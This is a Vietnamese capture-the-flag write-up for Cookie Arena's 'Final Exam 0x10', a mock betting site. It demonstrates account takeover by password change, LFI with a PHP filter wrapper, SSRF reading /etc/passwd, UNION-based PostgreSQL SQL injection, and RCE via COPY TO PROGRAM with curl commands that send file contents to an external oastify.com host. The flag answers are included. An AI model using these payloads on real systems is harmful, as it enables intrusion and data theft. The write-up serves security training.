<h1> Final Exam K10 Cookiehanhoan Write Up </h1> <p>Written by Quang Quyts. aka MCK Cookie Arena.</p> **<p> First of all, gửi lời cảm ơn đến thầy Hazy và anh em đội ngũ Cookie Arena tâm huyết ngày đêm tạo ra challenge hết sức thú vị này. Viết những dòng này khiến tôi rưng rưng nức mắt, có lẽ một phần vì đã kết thúc khóa học "Can thiệp sớm cho trẻ mất gốc lỗ hổng Web".</p> <p>Thôi không linh tinh luyên thuyên nữa, nuốt nước mắt vào trong mình cố gắng ngồi dậy để viết write-up cho các bạn đọc. (kphai vì t7 là deadline đâu ). <h1> Final Exam 0x10 </h1> <h2> Detail about Challenge </h2> <p> Final Exam 0x10 Trong mùa Euro vừa qua, hàng loạt các trang web cá độ online đã được tạo ra để phục vụ cho các con nghiện cờ bạc. Những trang web hoạt động nhởn nhơ ngoài vòng pháp luật, khiến cho các cơ quan chức năng phải vào cuộc điều tra nhằm loại bỏ mối nguy cho xã hội. Theo thông tin trinh sát đã báo lại, đối tượng Bob là một user hoạt động tích cực và có nhiều giao dịch bất hợp pháp. Hãy cố gắng theo dõi và thu thập dữ liệu về đối tượng này. Là một cảnh sát an ninh mạng, nhiệm vụ của bạn là phải xâm nhập vào RedFish88 - nhà cái hàng đầu đến từ Châu Á, để thu thập các bằng chứng và triệt phá đường dây này. Vì máy chủ đặt ở nước ngoài, nên cách duy nhất để tìm hiểu sâu hơn là lấy được quyền quản trị hệ thống. Chẳng có cách thu thập nào tốt nhất hơn việc chiếm quyền kiểm soát hệ thống. Và đây cũng là nhiệm vụ cuối cùng của bạn! Số Flag: 6 Thời gian: 2h30 NGÔN NGỮ: PHP. DATABASE: POSTGRESQL. </p> <h2>Challenge 1</h2> <p>Hint: FLAG 1 nằm trong lịch sử giao dịch của Bob. Hãy tìm cách chiếm tài khoản của đối tượng này.</p> <p> TOOLS: BurpSuite. </p> <p> Kiến thức: Authetication . </p> ### Tác Chiến Dựa vào hint từ tác giả ta có thể hình dung ra được nhiệm vụ của chúng ta là chiếm tài khoản của bob và Flag1 nằm trong phần lịch sử giao dịch của bob. Sau khi dùng như 1 người dùng bthg và đã được estimate URL(shout out to Tùng Sói) mình phát hiện ra chức năng đổi mật khẩu không hề đưọc validate và việc này tuyệt vời để có thể thay đổi được mật khẩu của bob (bài này khá tương tự với challenge Password Reset trên Cookie Battle) . ![image](https://hackmd.io/_uploads/BymuqdytA.png) Mở Búp Sủi lên và bắt request URL:`/user/changePasswd.php` POST Parameter: ``` newPassword=bob&confirmPassword=bob&email=test%40gmail.com&submit= ``` Vậy giờ thứ ta cần cuối cùng là tài khoản gmail của bob. Làm sao để tìm?? Phải nói rằng anh bob này là fan cứng của cá độ bóng đá vì phần comment nào tôi cũng thấy anh ấy comment. ![image](https://hackmd.io/_uploads/ByDQod1tR.png) T vào phần commment để tìm xem có những user nào. ![image](https://hackmd.io/_uploads/Hk-8s_JYC.png) Sau khi có được tài khoản gmail giờ thì ném vào repeater và reset lại mật khẩu. ![image](https://hackmd.io/_uploads/Bk73ou1KC.png) Sau khi đổi mật khâu của tài khoản bob thành "bob" và rồi login => vào phần Transaction của bob và BINGOOOO!!! ![image](https://hackmd.io/_uploads/Sk9whdJYC.png) ``` FLAG 1: CHH{n0_on3_c4n_cH4n6e_y0_pAs5} ``` ## Challenge 2 Hint: Trò chơi Sock Deer có gì đó mờ ám. Hãy tìm cách đọc File taixiu để vạch trần trò lừa đảo này và lấy FLAG 2. Trước khi tiến hành khai thác, hãy thử tìm kiếm thông tin về các file nhạy cảm bằng cách chạy dirsearch - công cụ có sẵn trên Kali Cú pháp: dirsearch TOOLS: Búp Sủi, Kali Linux, dirsearch Kiến thức: File Inclusion, PHP Wrapper Bài này tưởng chừng như dễ nhưng lại là bài làm t tốn tgian nhất vì t đã ra những quyết định bửa bửa lmao,uhuhuhuhhuhu sai lầm cuộc đời. Được hint rằng chúng ta phải đọc file taixiu để lấy Flag2 và còn hint cho chúng ta sử dụng dirsearch để tìm các thư mục ẩn. Kiến thức: Authentication, ### Phân tích Khi nhắc đến đọc file tôi liên tưởng ngay đến FLI/RFI và Path Traversal, ở đây ta sẽ đi tìm chức năng nào làm việc với file,thư phục trong hệ thống. Ok vậy chia 2 việc ra là 2 bước. Bước 1 Sử dụng dirsearch để tìm các thư mục ẩn và tìm thêm thông tin giúp chúng ta đọc được taixiu. Bước 2 Tìm Untrusted Data dẫn đến LFI. ### Tác chiến Bước 1: Dirsearch ![image](https://hackmd.io/_uploads/HypLMKJFR.png) Tìm được khá nhiều thư mục ẩn Sau khi thu thập thông tin từ từng trang thì thu về được 2 trang là có value path:`/info.php` và `/test.php` Khi truy cập vào trang info.php đúng như dự đoán thì nó hiện thị config của PHP Và t để ý đến phần `allow_url_open` > allow_url_fopen trong PHP được bật (allow_url_fopen = On), nó cho phép các hàm như fopen(), file_get_contents(), và các hàm tương tự có thể mở các URL như thể chúng là các tệp cục bộ. ![image](https://hackmd.io/_uploads/ByB4mYJYR.png) Xác định được 1 điều rằng website này có khả năng bị LFI/RFI Còn khi vào `test.php` thì tôi nhận được cấu trúc thư mục của website: ``` /www |-- /www/admin | |-- /www/admin/adminHistory.php | |-- /www/admin/configMatches.php | `-- /www/admin/searchUser.php |-- /www/config.php |-- /www/css | `-- /www/css/style.css |-- /www/deposit.php |-- /www/football_data.json |-- /www/header.php |-- /www/images | |-- /www/images/avt.jpg | |-- /www/images/dice1.png | |-- /www/images/dice2.png | |-- /www/images/dice3.png | |-- /www/images/dice4.png | |-- /www/images/dice5.png | |-- /www/images/dice6.png | `-- /www/images/samuel.png |-- /www/index.php |-- /www/info.php |-- /www/login.php |-- /www/matches.php |-- /www/register.php |-- /www/taixiu88.php |-- /www/test.php |-- /www/transaction.php |-- /www/user | |-- /www/user/account.php | `-- /www/user/changePasswd.php `-- /www/withdraw.php 4 directories, 27 files ``` Và wow không hề có file taixiu như hint nói, và phải mất gần 15 phút tôi mới nhận ra file đó chính là taixiu88.php Vậy thêm thông tin nữa thu thập được đó là đường dẫn tuyệt đối /www/taixiu88.php Bước 2 T để ý rằng mỗi parameter được truyền vào biến f bên trong `index.php` đều là file php trong hệ thống ![image](https://hackmd.io/_uploads/HkJNvFyKA.png) Vậy có nghĩa là: > index.php được sử dụng làm điểm đầu vào duy nhất. Tất cả các yêu cầu đều được chuyển đến index.php, sau đó mã bên trong index.php sẽ xử lý yêu cầu dựa trên các tham số URL. Ta sẽ chèn payload ở đây Sau khi chèn vào các payload cơ bản và auto scan + cho vao intruder để thử snipper, đủ thể loại mã hóa các kiểu cũng ko ra ![image](https://hackmd.io/_uploads/SySuDK1tC.png) Mọi thứ đều ra màn hình trắng. Cho đến khi mình bt được 1 hint động trời Giờ hãy để ý đến đuôi file, chúng đều là PHP phải không? Right? Có 1 kĩ thuật để khai thác LFI + PHP luôn. Đó chính là PHP Wrapper Tham khảo ở đây: https://medium.com/@vnptsec/l%E1%BB%97-h%E1%BB%95ng-file-inclusion-adbb2e2d7b1b và mình lên nhờ anh bạn ChatGPT của mình tạo ra payload để đọc ra file www/taixiu88.php Payload: `php://filter/convert.base64-encode/resource=/www/taixiu88` Giải thích payload: > Payload này sử dụng một tính năng của PHP để đọc nội dung của tệp /www/taixiu88.php dưới dạng mã hóa Base64 > > Sử dụng php://filter để tác động lên file cụ thể ở đây là trích suất ra >Để tránh bị thực thi php khi trích suất ra để đọc file t đã sử dụng convert.base64 để mã hóa nội dung trong file dưới dạng base64 Chèn payload vào và t nhận được: ![image](https://hackmd.io/_uploads/rJN5FtkYR.png) Và như trên màn hinh...Không có gì , tôi đã loay hoay 10p kbt tsao như vậy và gần như quên mất sự tồn tại của Burp Suite =))))), sau khi check request t nhận được output ở trong response ![image](https://hackmd.io/_uploads/SyDssK1Y0.png) Sau đó Copy => Convert => Tìm Flag Sau khi covert về dạng bthg ``` <?php session_start(); include('config.php'); if(isset($_SESSION['username'])){ header('Location: login.php'); } function stringToMorse($str) { $morseCode = array( 'A' => '.-', 'B' => '-...', 'C' => '-.-.', 'D' => '-..', 'E' => '.', 'F' => '..-.', 'G' => '--.', 'H' => '....', 'I' => '..', 'J' => '.---', 'K' => '-.-', 'L' => '.-..', 'M' => '--', 'N' => '-.', 'O' => '---', 'P' => '.--.', 'Q' => '--.-', 'R' => '.-.', 'S' => '...', 'T' => '-', 'U' => '..-', 'V' => '...-', 'W' => '.--', 'X' => '-..-', 'Y' => '-.--', 'Z' => '--..', '1' => '.----', '2' => '..---', '3' => '...--', '4' => '....-', '5' => '.....', '6' => '-....', '7' => '--...', '8' => '---..', '9' => '----.', '0' => '-----', '.' => '.-.-.-', ',' => '--..--', '?' => '..--..', '/' => '-..-.-' ); $result = ""; $str = strtoupper($str); // Convert string to uppercase for case-insensitive matching for ($i = 0; $i < strlen($str); $i++) { $char = $str[$i]; if (isset($morseCode[$char])) { $result .= $morseCode[$char] . " "; // Add space between characters } else { $result .= "/" . " "; // Add slash for unsupported characters } } return trim($result); // Remove trailing space } $flag2 = "CHH{LFI_Us1nG_Th3_sAm3_lAnGua9e}"; $cleanedStr = preg_replace('/^CHH\{(.*)\}/', '$1', $flag2); $cleanedStr = str_replace('_', ' ', $cleanedStr); $morseCode = stringToMorse($cleanedStr); $customTimezone = new DateTimeZone('+07:00'); // Create custom zone with offset and name $dateTime = new DateTime('NOW', $customTimezone); $unixTime = $dateTime->getTimestamp(); // Get Unix timestamp $randomIndex = substr($unixTime, -2); if (isset($morseCode[$randomIndex])) { if ($morseCode[$randomIndex] == '.' ) { $code = 'small'; } elseif ($morseCode[$randomIndex] == '-') { $code = 'big'; } else { $code = 'random'; } } function getDiceRoll($code) { $dice = []; switch ($code) { case 'big': do { $dice[0] = rand(1, 6); $dice[1] = rand(1, 6); $dice[2] = rand(1, 6); $total = array_sum($dice); } while ($total <= 9); break; case 'small': do { $dice[0] = rand(1, 6); $dice[1] = rand(1, 6); $dice[2] = rand(1, 6); $total = array_sum($dice); } while ($total > 9); break; case 'random': $dice[0] = rand(1, 6); $dice[1] = rand(1, 6); $dice[2] = rand(1, 6); break; default: // Invalid code $dice = [1, 1, 1]; break; } return $dice; } $diceRolls = getDiceRoll($code); if(isset($_POST['bet-type'])){ if($_POST['bet-amount']>0 && $_POST['bet-amount'] <= $_SESSION['balance'] ){ if(array_sum($diceRolls) > 9){ if($_POST['bet-type']='big'){ $_SESSION['balance'] += $_POST['bet-amount']; }else{ $_SESSION['balance'] -= $_POST['bet-amount']; } } elseif (array_sum($diceRolls) <= 9) { if($_POST['bet-type']='big'){ $_SESSION['balance'] -= $_POST['bet-amount']; }else{ $_SESSION['balance'] += $_POST['bet-amount']; } } } else { echo '<script>alert("Invalid amount")</script>'; } $updateBalance = "UPDATE users SET balance=$1 WHERE username=$2"; $ppstBalance = pg_prepare($conn, "Withdraw", $updateBalance); $dataBalance = pg_execute($conn, "Withdraw", array($_SESSION['balance'], $_SESSION['username'])); } ?> Vì quá dài nên t sẽ cắt bớt để người nhìn khồn bị khó chệu ``` Đọc code và t nhận được Flag nằm trong biến $flag2 ` $flag2 = "CHH{LFI_Us1nG_Th3_sAm3_lAnGua9e}";` <h2>Challenge3</h2> Hint: FLAG 3 nằm trong Profile của tài khoản admin. Hãy tìm cách chiếm tài khoản của admin và đọc FLAG ### Phân tích Flag nằm trong tài khoản của admin, và để đăng nhập được vào tài khoản của admin t phải có email => tìm mọi chức năng tài khoản,comment,...etc liên quan đến admin và thật tình cờ và bất ngờ trong thư mục /www có chứa 3 file có cái tên rất nhạy cảm liên quan đến admin =)))) ``` |-- /www/admin | |-- /www/admin/adminHistory.php | |-- /www/admin/configMatches.php | `-- /www/admin/searchUser.php ``` ### Tác chiến Sau khi tuy cập vào `/www/admin/searchUser.php` , ta đã tìm đưọc tk email của admin ![image](https://hackmd.io/_uploads/BywOy5kFC.png) Và bâyh lặp lại điều ta đã làm với bob ![image](https://hackmd.io/_uploads/SJBFe9ytA.png) ``` FLAG 3: CHH{XSS_t0_St3Al_4dm1n_s3cre4T} ``` <h2>Challenge4</h2> Hint : Flag4 nằm trong /etc/passwd. Hãy tìm cach đọc nó Kiến thức: SSRF ### Phân tích Mục tiêu ở đây là đọc được file /etc/passwd Có nhiều cách để có thể đọc File hệ thống vdu như là Path Traversal, LFI, SSRF,..etc Thì như đã nói ở trên Chall3 mình đã chèn payload chắc là hết nửa cái Payloads All the Things(jkd) để tìm LFI và Path Traversal nhưng không có kết quả nên mình loại bỏ luôn chuyển sang SSRF Từ những gì thu thập được ở trong /test.php thì t đã tìm được path dẫn đến chức năng tìm nạp data `/admin/configMatches.php` ![image](https://hackmd.io/_uploads/rklxo4lYR.png) Chức năng này dùng để yêu cầu dữ liệu từ một URL cụ thể và nhận lại dữ liệu đó ở dạng JSON, ở trên ảnh7 có thể thấy t nhập vào URL để truy cập và lấy ra dữ liệu từ phía Internal Side Vậy có nghĩa chúng ta có thể thao túng URL để hiển thị file /etc/passwd #### Take note!!! :notebook_with_decorative_cover: IP INTERNAL: 127.0.0.1 PORT :6969 ### Thực hành Mình sẽ sử dụng protocol file:// để đọc file /etc/passwd trong hệ thống Payload: `file:///etc/passwd` Và nhận được flag 4 ![image](https://hackmd.io/_uploads/SJsjCVgFR.png) <h2> Challenge5</h2> Hint: FLAG 5 nằm trong cơ sở dữ liệu của hệ thống. Hãy tìm cách khai thác và lấy FLAG DATABASE: POSTGRESQL Kiến Thức: Error-based Injection ### Phân tích Ở challenge này chúng ta sẽ đục SQL Injection (Đây chall tôi ngại gặp nhất và cũng là cái làm nhanh nhất trong challenge này) Để khai thác SQL Inject ta phải tìm được chức năng tương tác vs database và không gì hoàn hảo hơn chức năng Search, mà lại còn của admin thì bú luôn Chức năng search nằm trong path sau: `/www/admin/searchUser.php` ### Tác chiến Bắt request r test thui ![image](https://hackmd.io/_uploads/rJ3yHcktR.png) Khi thực hiện test bằng dầu nháy đơn ' , ta đã nhận đưọc lỗi ![image](https://hackmd.io/_uploads/H19zwqJFC.png) Dựa vào kết quả nhận được thi đây có thể dính Error-based Injection Cơ sở đây là lỗi Error-based Injection: 1. Hiện lỗi 2. Hiện ra câu query của hệ thống Câu query hệ thống:`LINE 1: SELECT * FROM users WHERE username LIKE '%'%' ` Sau khi đã tìm được lỗi với dấu nháy đơn , luôn nhớ lời của thầy Hazy, hãy biến bất thường thành bình thường. T sử dụng thêm dấu -- - ở cuối để cmt lại các phần tử đầu sau. Và không có lỗi gì xảy ra => đã sẵn sàng để chèn payload vào giữa ` '(input_here) -- -` Ví dụ khi t input `'ORDER BY 3 -- -` Thì trong hệ thống sẽ xử lý như sau: ``` SELECT * FROM users WHERE username LIKE '% 'ORDER BY 3 -- - %' ``` Dựa vào lỗi hiển thị ra màn hình ta biết được rằng chức năng này làm việc với bảng **users** T xác định đưọc bảng này ít nhất là 8 cột dựa vào sử dụng câu truy vấn `ORDERBY 8 ` và màn hình k trả ra lỗi Sau đó t sử dụng payload sau để hiển thị tất cả các bảng `%' UNION SELECT NULL, table_name, NULL, NULL, NULL, NULL, NULL, NULL FROM information_schema.tables WHERE table_schema='public'--` Nếu bạn hỏi table_name là gì và tsao nó lại được đặt ở vị trí thứ 2 và wtf đoạn dài dằng dặc ở đằng sau là gì vậy thì lên Google mà search, đấy là người khác sẽ nói thế những ở Write Up của mình sẽ ko như vậy=)) ít nhất là bâyh Giải thích Payload: > Ở đây t sử dụng lệnh select để chọn 8 cột từ bảng User . > > Trong cơ sở dữ liệu, **table_name** là một cột trong bảng information_schema.tables chứa tên của tất cả các bảng trong cơ sở dữ liệu > \ >**Information_schema** là một schema đặc biệt trong PostgreSQL chứa metadata (siêu dữ liệu) về cơ sở dữ liệu. Metadata bao gồm thông tin về các bảng, cột, chỉ mục, và nhiều đối tượng khác. **tables** là một bảng trong **schema information_schema** chứa thông tin về tất cả các bảng trong cơ sở dữ liệu. Cụ thể, bảng này chứa các cột như **table_name, table_schema, table_catalog, v.v.** Lý do chèn ở vị trí thứ 2 là vì khi t chèn ở vị trí thứ nhất đã xảy ra lỗi, và khi chèn từ 2 trở đi thì lại bình thường ![image](https://hackmd.io/_uploads/ByW4esyFC.png) Khi chèn ở vị trí thứ 2 kết quả đưọc trả ra ở cột **Username** và khi ở vị trí t3 thì ở cột tiếp theo. Nói đến đây chắc bn cũng hình dung ra dc rồi Sau khi chèn payload thành công t nhận thêm đưọc 3 bảng mới là: `flag_5 ,comment,transaction ` => Thay đổi payload để đọc các cột trong bảng flag_5 Payload: `%' UNION SELECT NULL, column_name, NULL, NULL, NULL, NULL, NULL, NULL FROM information_schema.columns WHERE table_name='flag_5'--` Output: ![image](https://hackmd.io/_uploads/B14_boytA.png) Bayh chúng ta chỉ cần đọc nội dung trong cột flag Payload: `%' UNION SELECT NULL, flag, NULL, NULL, NULL, NULL, NULL, NULL FROM flag_5--` OUTPUT: ![image](https://hackmd.io/_uploads/BJTK4jyKC.png) `FLAG5: CHH{v3ry_s1mpl3_SQL_1nj3cti0n}` <h2>Challenge6</h2> Hint: FLAG 6 xuất hiện khi các bạn RCE được hệ thống và đọc file /flag*.txt. Kiến thức: SQL Injection + Stack Query,OS Command Shout out to Phạm Trung đã bổ túc kiến thức cho mình. ### Phân Tích Nhiệm vụ bâyh là phải RCE được hệ thống. Để RCE( Remote Control Execute ) được, đây là một số lỗi mà mình biết có thể RCE : 1. OS Command 2. File Upload 3. LFI/RLI 4. SQL Injection Stack Query 5. XXE Khả thi nhất ở đây là Stack Query và OS Command vì loại trừ những chức năng không có ra Sau khi xem lại slide , trùng tu kiến thức thì mình càng thêm chắc chắn hơn Điều kiện để xảy ra : ![image](https://hackmd.io/_uploads/SyrmFwbYR.png) PostgreSQL :heavy_check_mark: PHP :heavy_check_mark: ------------------------ Stack Query Là gì??? Stacked Query là việc ngôn ngữ lập trình thực hiện nhiều câu truy vấn khác nhau trong cùng một thời điểm.Mỗi câu truy vấn được phân tách bằng dấu chấm phẩy Ví dụ: Code cho sẵn > SELECT * FROM students > WHERE > username = '$username' > AND password = '$password'; Sau khi chen payload > SELECT * FROM students > WHERE > username = ' `' OR 1=1; DROP TABLE users; -- -`' > AND password = '$password'; > #Lúc này kẻ tấn công đã thêm dấu `;` lợi dụng lỗ hổng thực thi câu lệnh thứ 2 để xóa dữ liệu trong database ------------------------ ### Tác chiến #### Phát Hiện Stacked Query: 1. Time based: Payload: `'; SELECT pg_sleep(10) -- -` Lệnh này sẽ tạm dừng thực thi của SQL trong một khoảng thời gian nhất định cụ thể ở đây mình đặt vào 10 giây. Khi check thời gian load trang đúng là 10s ![image](https://hackmd.io/_uploads/S1JExyVFC.png) Đã thực hiện thành công 2. Out Of Band: Để check OOB mình sử collaborator và ta có thể thực hiện OS Command với nhũng phiên bản PostgreSQL < 9.3 Payload: `; copy (SELECT ‘ ‘) to program ‘nslookup ao2lwp0amvkpch09fgyae60c83eu2qqf.oastify.com’` Sau đó t gặp lỗi : `Warning: pg_query(): Query failed: ERROR: program "nslookup v956halv7g5ax2lu01jvzrlxtozfncb1.oastify.com" failed DETAIL: command not found in /www/admin/searchUser.php on line 29` Có vẻ lệnh này k sử dụng được ở PostgreSQL sau đó mình thử 1 vài lệnh khác của hệ thống và đã thành công truyền được tín hiệu ra ngoài vs lệnh `curl` Payload:` '; copy (SELECT ' ') to program 'curl http://v956halv7g5ax2lu01jvzrlxtozfncb1.oastify.com'-- -` Nhận được: ![image](https://hackmd.io/_uploads/SkRDSy4KC.png) Vậy là đã thành công ở cả 2 cách test trên, giờ thì chèn payload để lấy flag ra Chen Payload check lệnh pwd : > '; copy (SELECT '') to program 'bash -c "curl -X POST --data $(pwd | base64) http://msix014mq7o1gt4ljs2mii4ocfi66yun.oastify.com/"'-- -' Giải thích Payload : > **copy (SELECT '') to program 'curl -X POST --data \``**: Lệnh COPY` trong PostgreSQL cho phép sao chép dữ liệu từ cơ sở dữ liệu vào một file hoặc chương trình. Ở đây, dữ liệu được sao chép vào một chương trình shell. > > pwd|base64: > > pwd: Lệnh này in ra đường dẫn hiện tại của thư mục làm việc. > | base64: Mã hóa đường dẫn hiện tại thành chuỗi base64. > http://ne5sbj7xov2g1fhpnt9m37rsmjsag04p.oastify.com/': URL đích của yêu cầu POST. Dữ liệu được mã hóa base64 sẽ được gửi đến URL này. > > -- -: Phần này thường dùng để bình luận ra phần còn lại của câu lệnh SQL, đảm bảo rằng các phần không mong muốn trong câu lệnh SQL gốc không ảnh hưởng đến payload. Kết quả: ![image](https://hackmd.io/_uploads/S1hg6DbFR.png) Thay đổi Payload thực hiện đọc file /flag*.txt > '; copy (SELECT '') to program 'bash -c "curl -X POST --data \"$(cat /flag*.txt | base64)\" http://msix014mq7o1gt4ljs2mii4ocfi66yun.oastify.com/"'-- -' ![image](https://hackmd.io/_uploads/SJGQydbKC.png) ![image](https://hackmd.io/_uploads/H1sSkd-KC.png) > CHH{ThiS_i5_Y0ur_FaKE_fLaG} > CHH{Th3_w3B_hA5_Be3N_pwn3d_04cfd11eee0ab15d276273dd8dccbdd6} <h1>Kết thúc</h1> ### *Big thanks to all members of the cookie arena* Peace! ![image](https://hackmd.io/_uploads/BJ_5lAPM1g.png)